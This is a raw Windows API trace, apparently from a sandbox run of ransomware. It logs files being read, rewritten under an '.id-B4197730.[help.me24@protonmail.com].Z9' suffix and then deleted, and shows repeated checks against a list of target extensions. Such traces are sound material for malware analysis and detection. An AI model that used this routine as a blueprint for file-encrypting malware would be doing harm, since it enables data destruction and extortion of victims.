	[0161.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0162.310] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.310] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.519] GetLastError () returned 0x0
	[0162.519] ReadFile (in: hFile=0x43c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xa4c9, lpOverlapped=0x0) returned 1
	[0162.540] WriteFile (in: hFile=0x38c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xa4d0, lpOverlapped=0x0) returned 1
	[0162.542] ReadFile (in: hFile=0x43c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.542] WriteFile (in: hFile=0x38c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0162.542] SetEndOfFile (hFile=0x38c) returned 1
	[0162.542] CloseHandle (hObject=0x38c) returned 1
	[0162.542] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.542] SetEndOfFile (hFile=0x43c) returned 1
	[0162.546] CloseHandle (hObject=0x43c) returned 1
	[0162.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.546] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1
	[0162.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.547] lstrlenW (lpString=".doc") returned 4
	[0162.547] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.547] lstrlenW (lpString=".docx") returned 5
	[0162.547] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0162.547] lstrlenW (lpString=".pdf") returned 4
	[0162.547] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.547] lstrlenW (lpString=".xls") returned 4
	[0162.547] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.547] lstrlenW (lpString=".xlsx") returned 5
	[0162.547] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0162.547] lstrlenW (lpString=".ppt") returned 4
	[0162.547] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.547] lstrlenW (lpString=".zip") returned 4
	[0162.547] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.547] lstrlenW (lpString=".rar") returned 4
	[0162.547] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.547] lstrlenW (lpString=".bz2") returned 4
	[0162.547] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.547] lstrlenW (lpString=".7z") returned 3
	[0162.547] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.547] lstrlenW (lpString=".dbf") returned 4
	[0162.547] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.547] lstrlenW (lpString=".1cd") returned 4
	[0162.547] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.547] lstrlenW (lpString=".jpg") returned 4
	[0162.548] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.548] lstrlenW (lpString=".doc") returned 4
	[0162.548] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.548] lstrlenW (lpString=".docx") returned 5
	[0162.548] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0162.548] lstrlenW (lpString=".pdf") returned 4
	[0162.548] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.548] lstrlenW (lpString=".xls") returned 4
	[0162.548] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.548] lstrlenW (lpString=".xlsx") returned 5
	[0162.548] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0162.548] lstrlenW (lpString=".ppt") returned 4
	[0162.548] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.548] lstrlenW (lpString=".zip") returned 4
	[0162.548] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.548] lstrlenW (lpString=".rar") returned 4
	[0162.548] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.548] lstrlenW (lpString=".bz2") returned 4
	[0162.548] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.548] lstrlenW (lpString=".7z") returned 3
	[0162.548] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.548] lstrlenW (lpString=".dbf") returned 4
	[0162.548] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.548] lstrlenW (lpString=".1cd") returned 4
	[0162.548] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0162.548] lstrlenW (lpString=".jpg") returned 4
	[0162.548] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.549] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0162.549] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0162.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.551] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=251327) returned 1
	[0162.551] CloseHandle (hObject=0x38c) returned 1
	[0162.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20
	[0162.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.552] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.552] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0162.552] GetLastError () returned 0x0
	[0162.552] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x3d5bf, lpOverlapped=0x0) returned 1
	[0162.722] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x3d5c0, lpOverlapped=0x0) returned 1
	[0162.727] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.727] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xee, lpOverlapped=0x0) returned 1
	[0162.727] SetEndOfFile (hFile=0x3c8) returned 1
	[0162.728] CloseHandle (hObject=0x3c8) returned 1
	[0162.728] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.728] SetEndOfFile (hFile=0x38c) returned 1
	[0162.735] CloseHandle (hObject=0x38c) returned 1
	[0162.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.735] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1
	[0162.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.736] lstrlenW (lpString=".doc") returned 4
	[0162.736] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.736] lstrlenW (lpString=".docx") returned 5
	[0162.736] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0162.736] lstrlenW (lpString=".pdf") returned 4
	[0162.736] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.736] lstrlenW (lpString=".xls") returned 4
	[0162.736] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.736] lstrlenW (lpString=".xlsx") returned 5
	[0162.736] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0162.736] lstrlenW (lpString=".ppt") returned 4
	[0162.736] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.736] lstrlenW (lpString=".zip") returned 4
	[0162.736] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.736] lstrlenW (lpString=".rar") returned 4
	[0162.736] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.736] lstrlenW (lpString=".bz2") returned 4
	[0162.736] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.736] lstrlenW (lpString=".7z") returned 3
	[0162.736] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.736] lstrlenW (lpString=".dbf") returned 4
	[0162.736] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.737] lstrlenW (lpString=".1cd") returned 4
	[0162.737] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.737] lstrlenW (lpString=".jpg") returned 4
	[0162.737] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.737] lstrlenW (lpString=".doc") returned 4
	[0162.737] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.737] lstrlenW (lpString=".docx") returned 5
	[0162.737] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0162.737] lstrlenW (lpString=".pdf") returned 4
	[0162.737] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.737] lstrlenW (lpString=".xls") returned 4
	[0162.737] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.737] lstrlenW (lpString=".xlsx") returned 5
	[0162.737] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0162.737] lstrlenW (lpString=".ppt") returned 4
	[0162.737] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.737] lstrlenW (lpString=".zip") returned 4
	[0162.737] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.737] lstrlenW (lpString=".rar") returned 4
	[0162.737] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.737] lstrlenW (lpString=".bz2") returned 4
	[0162.737] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.737] lstrlenW (lpString=".7z") returned 3
	[0162.737] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.737] lstrlenW (lpString=".dbf") returned 4
	[0162.737] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.738] lstrlenW (lpString=".1cd") returned 4
	[0162.738] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0162.738] lstrlenW (lpString=".jpg") returned 4
	[0162.738] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.738] lstrcmpiW (lpString1=".src", lpString2=".Z9") returned -1
	[0162.738] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0162.738] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.738] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10568) returned 1
	[0162.738] CloseHandle (hObject=0x38c) returned 1
	[0162.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20
	[0162.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.739] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.739] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0162.740] GetLastError () returned 0x0
	[0162.740] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2948, lpOverlapped=0x0) returned 1
	[0162.742] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2950, lpOverlapped=0x0) returned 1
	[0162.743] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.743] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x106, lpOverlapped=0x0) returned 1
	[0162.743] SetEndOfFile (hFile=0x3c8) returned 1
	[0162.744] CloseHandle (hObject=0x3c8) returned 1
	[0162.744] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.744] SetEndOfFile (hFile=0x38c) returned 1
	[0162.747] CloseHandle (hObject=0x38c) returned 1
	[0162.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.747] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.748] lstrlenW (lpString=".doc") returned 4
	[0162.748] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString=".docx") returned 5
	[0162.748] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0162.748] lstrlenW (lpString=".pdf") returned 4
	[0162.748] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString=".xls") returned 4
	[0162.748] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0162.748] lstrlenW (lpString=".xlsx") returned 5
	[0162.748] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0162.748] lstrlenW (lpString=".ppt") returned 4
	[0162.748] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.748] lstrlenW (lpString=".zip") returned 4
	[0162.748] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0162.748] lstrlenW (lpString=".rar") returned 4
	[0162.748] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString=".bz2") returned 4
	[0162.748] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString=".7z") returned 3
	[0162.748] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.748] lstrlenW (lpString=".dbf") returned 4
	[0162.748] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.748] lstrlenW (lpString=".1cd") returned 4
	[0162.748] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString=".jpg") returned 4
	[0162.749] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString=".doc") returned 4
	[0162.749] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString=".docx") returned 5
	[0162.749] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0162.749] lstrlenW (lpString=".pdf") returned 4
	[0162.749] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString=".xls") returned 4
	[0162.749] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0162.749] lstrlenW (lpString=".xlsx") returned 5
	[0162.749] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0162.749] lstrlenW (lpString=".ppt") returned 4
	[0162.749] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString=".zip") returned 4
	[0162.749] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0162.749] lstrlenW (lpString=".rar") returned 4
	[0162.749] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString=".bz2") returned 4
	[0162.749] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString=".7z") returned 3
	[0162.749] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString=".dbf") returned 4
	[0162.749] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString=".1cd") returned 4
	[0162.749] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0162.749] lstrlenW (lpString=".jpg") returned 4
	[0162.749] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0162.750] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0162.750] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0162.750] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.752] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=75144) returned 1
	[0162.752] CloseHandle (hObject=0x38c) returned 1
	[0162.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20
	[0162.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
